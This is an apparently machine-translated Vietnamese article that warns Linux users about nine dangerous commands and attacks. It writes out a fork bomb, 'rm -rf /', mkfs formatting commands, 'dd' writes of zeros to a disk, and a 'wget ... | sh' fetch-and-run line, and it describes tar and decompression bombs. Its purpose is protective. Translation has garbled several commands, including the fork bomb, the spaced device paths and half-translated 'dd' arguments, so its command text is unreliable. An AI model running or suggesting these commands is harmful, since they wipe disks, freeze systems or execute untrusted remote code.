9 lệnh và mã Linux cần cẩn thận
Các lệnh shell / terminal của Linux rất mạnh và chỉ một lệnh đơn giản có thể dẫn đến việc xóa một thư mục, tệp hoặc thư mục gốc, v.v..
Trong một số trường hợp, Linux thậm chí sẽ không yêu cầu bạn xác nhận thay vì nó sẽ thực thi lệnh ngay lập tức khiến bạn phải mất dữ liệu và thông tin có giá trị được lưu trữ trong các tập tin và thư mục này.
Mọi người thường đăng nội dung trên web khuyến nghị người dùng Linux mới thực hiện các lệnh này. Điều này có vẻ như là một trò đùa cho một người đã đăng nội dung nhưng nó không phải là vấn đề gây cười cho người ở đầu bên kia.
Chúng tôi đã tập hợp một số lệnh Linux khá có hại cho hệ thống của bạn để giúp bạn tránh chúng. Hãy nhớ rằng chúng thực sự nguy hiểm và thậm chí có thể được thay đổi theo nhiều cách khác nhau để tạo ra các lệnh mới gây thêm thiệt hại.
Một điều quan trọng cần lưu ý là một số lệnh này chỉ nguy hiểm nếu chúng có tiền tố sudo trên Ubuntu. Mặc dù trên các bản phân phối khác của Linux, hầu hết các lệnh đã cho này sẽ nguy hiểm khi thực thi với quyền root.
Hãy nhìn vào 9 lệnh và mã bạn nên tránh thực thi.
1. Lệnh ném bom Linux
: () : |: &;:
còn được biết là Ngã ba bom là một cuộc tấn công từ chối dịch vụ đối với Hệ thống Linux. : () : |: &;:
là một hàm bash. Sau khi thực hiện, nó lặp đi lặp lại nhiều lần cho đến khi hệ thống đóng băng.
Bạn chỉ có thể thoát khỏi nó bằng cách khởi động lại hệ thống của bạn. Vì vậy, hãy cẩn thận khi thực hiện lệnh này trên shell Linux của bạn.
2. Lệnh mv / dev / null Lệnh
thư mục mv / dev / null
là một lệnh rủi ro khác. Phát triển / không
hoặc là thiết bị null
Là một tệp thiết bị loại bỏ tất cả dữ liệu được ghi trên đó nhưng nó báo cáo rằng thao tác ghi được thực hiện thành công. Nó còn được gọi là bit xô hoặc là hố đen.
3. Lệnh rm -rf
rm -rf
lệnh là một cách nhanh chóng để xóa một thư mục và nội dung của nó trong hệ điều hành Linux. Nếu bạn không biết sử dụng đúng cách thì nó có thể trở nên rất nguy hiểm đối với hệ thống. Các kết hợp và tùy chọn phổ biến nhất được sử dụng với lệnh rm-rf được liệt kê bên dưới:
rm
lệnh được sử dụng để xóa các tệp trong hệ thống Linux.rm -f
lệnh xóa các tệp chỉ đọc trong thư mục mà không cần nhắc.rm -r
lệnh xóa nội dung của một thư mục đệ quy.rm -d
lệnh được sử dụng để xóa một thư mục trống nhưng nó sẽ từ chối xóa thư mục nếu nó không trống.rm -rf /
lệnh được sử dụng để xóa cưỡng bức (nó xóa nó ngay cả khi nó được bảo vệ ghi) của tất cả nội dung trong thư mục gốc và thư mục con.rm -rf *
lệnh được sử dụng để xóa bắt buộc tất cả nội dung trong thư mục hiện tại (thư mục bạn hiện đang làm việc) và các thư mục con.rm -rf.
lệnh được sử dụng để xóa bắt buộc tất cả nội dung trong thư mục hiện tại và thư mục con. Cácrm -r. [^.] *
lệnh cũng có thể được sử dụng.rm -i
lệnh được sử dụng để xóa các tệp và thư mục nhưng một dấu nhắc sẽ xuất hiện trước khi xóa.
4. lệnh mkfs
mkfs
có thể là một lệnh nguy hiểm cho hệ thống dựa trên Linux của bạn nếu bạn không biết mục đích của nó. Mọi thứ được viết sau mkfs sẽ được định dạng và thay thế bằng hệ thống tệp Linux trống.
Tất cả các lệnh được đề cập dưới đây sẽ định dạng ổ cứng và nó yêu cầu quyền quản trị viên:
mkfs
mkfs.ext3
mkfs.bfs
mkfs.ext2
mkfs.minix
mkfs.msdos
mkfs.reiserfs
mkfs.vfat
Lệnh mkfs.cramfs
sẽ làm điều tương tự như trên nhưng nó không yêu cầu quyền quản trị viên để thực thi.
5. Bom Tar
Các hắc ín
lệnh được sử dụng để kết hợp nhiều tệp thành một tệp (tệp lưu trữ) trong .hắc ín định dạng. Một quả bom Lưu trữ Băng (Tar) có thể được tạo bằng lệnh này.
Nó là một tệp lưu trữ phát nổ thành hàng ngàn hoặc hàng triệu tệp có tên tương tự với các tệp hiện có vào thư mục hiện tại thay vì vào một thư mục mới khi chưa được chỉnh sửa.
Bạn có thể tránh trở thành nạn nhân của một quả bom tar bằng cách thường xuyên tạo một thư mục bảo vệ mới bất cứ khi nào bạn nhận được một tập tin tar và sau đó di chuyển tệp tar đã nhận vào thư mục này trước khi gỡ bỏ.
Nếu tập tin tar thực sự là một quả bom tar thì bạn chỉ cần xóa thư mục vừa tạo để thoát khỏi nó. Một cách khác để tránh vụ nổ bom tar là thông qua các -t
tùy chọn liệt kê tất cả nội dung của tệp tar để cung cấp cho bạn ý tưởng về loại nội dung có trong tệp tar.
6. lệnh dd
Các đ
lệnh được sử dụng để sao chép và chuyển đổi phân vùng đĩa cứng. Tuy nhiên, nó có thể gây hại nếu bạn chỉ định sai đích.
Lệnh có thể là bất kỳ một trong số này:
dd nếu = / dev / hda của = / dev / hdb
dd nếu = / dev / hda của = / dev / sdb
dd if = cái gì đó của = / dev / hda
dd if = cái gì đó của = / dev / sda
Lệnh sau sẽ loại bỏ toàn bộ ổ cứng chính: dd if = / dev / zero of = / dev / had
7. Mã Shell
Ai đó có thể chiến thắng bạn bằng cách cung cấp cho bạn liên kết đến tập lệnh shell và xác nhận bạn tải xuống và thực thi nó. Kịch bản có thể chứa một số mã độc hại hoặc nguy hiểm bên trong. Các định dạng lệnh có thể trông như thế này: wget http: // some_malicy_source -O- | sh
. Các wget
sẽ tải tập lệnh trong khi sh tải tập lệnh thực thi.
8. Mã nguồn độc hại
Ai đó cung cấp cho bạn mã nguồn và yêu cầu bạn biên dịch nó. Mật mã có thể là một mã bình thường nhưng trên thực tế, một số mã độc được ngụy trang trong mã nguồn lớn và nó có thể gây hại cho hệ thống của bạn. Để tránh bị nạn nhân của loại tấn công này, chỉ chấp nhận và biên dịch mã nguồn của bạn từ các nguồn đáng tin cậy.
9. Bom giải nén
Bạn đã nhận được một tệp nén và bạn được yêu cầu trích xuất tệp này có kích thước rất nhỏ nhưng có thể là vài KB. Trong thực tế, tập tin nén kích thước nhỏ này chứa dữ liệu nén rất cao.
Khi tệp được giải nén, hàng trăm GB dữ liệu được trích xuất có thể lấp đầy ổ cứng của bạn để giảm hiệu suất của hệ thống của bạn. Để tránh tình trạng này, hãy luôn nhớ chấp nhận dữ liệu từ các nguồn đáng tin cậy.